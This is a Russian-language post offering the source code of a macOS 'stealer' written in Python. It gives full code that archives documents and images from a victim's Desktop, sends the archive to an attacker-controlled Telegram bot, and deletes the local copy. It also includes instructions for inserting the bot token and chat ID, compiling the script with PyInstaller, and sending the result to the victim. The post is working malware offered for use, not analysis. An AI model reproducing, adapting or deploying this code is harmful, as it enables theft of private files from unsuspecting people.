November 29, 2023

MAC OS СТИЛЛЕР | 𝐌𝐀𝐌𝐊𝐈𝐍 𝐓𝐄𝐌𝐒𝐇𝐈𝐊

Исходник стиллера на MacOS который стиллит все файлы с рабочего стола жертвы, написан на Python. Доступные форматы: *.txt|*.rtf|*.jpg|*.png|*.doc|*.docs если вам нужны файлы с другими форматами дописываете их сюда:

Принцип работы


Создаете Telegram бота и вставляете его API: bot_token = 'тут токен бота'

Логи будут приходить только на тот Telegram аккаунт, ID которого вы укажете в коде: hat_id = 'ваш телеграм ид'

После чего билдим файл и отправляем жертве. После запуска все файлы с рабочего стола упакуются в архив и отправятся вам в Telegram бота.

Код

import os
import glob
import zipfile
import requests

# Токен бота
bot_token = 'тут токен бота'

# ID чата, куда будут отправляться файлы
chat_id = 'ваш телеграм ид'

# Путь к рабочему столу
desktop_path = os.path.join(os.environ['HOME'], 'Desktop')

# Шаблон для поиска файлов
file_pattern = '*.txt|*.rtf|*.jpg|*.png|*.doc|*.docs'

# Название архива
zip_filename = 'files.zip'

# Имя папки, которая будет добавлена в архив
zip_folder_name = 'files'

# Итерируемся по всем найденным файлам и добавляем их в архив
with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zip_file:
    for file_path in os.listdir(desktop_path):
        if file_path.endswith(('.txt', '.rtf', '.jpg', '.png', '.doc', '.docs')):
            full_path = os.path.join(desktop_path, file_path)
            rel_path = os.path.relpath(full_path, desktop_path)
            zip_file.write(full_path, arcname=os.path.join(zip_folder_name, rel_path))

# Открываем архив и отправляем его в чат
with open(zip_filename, 'rb') as f:
    response = requests.post(
        f'https://api.telegram.org/bot{bot_token}/sendDocument',
        data={
            'chat_id': chat_id,
        },
        files={
            'document': (zip_filename, f, 'application/zip'),
        },
        params={
            'caption': 'All files in archive',
        }
    )
    if response.status_code != 200:
        print(f'Failed to send message. Status code: {response.status_code}')

# Удаляем архив
os.remove(zip_filename)

Компиляция кода

Terminal: pip install pyinstaller -> pyinstaller <имя_файла>.py

Заходим в папку dist -> main -> .exec готов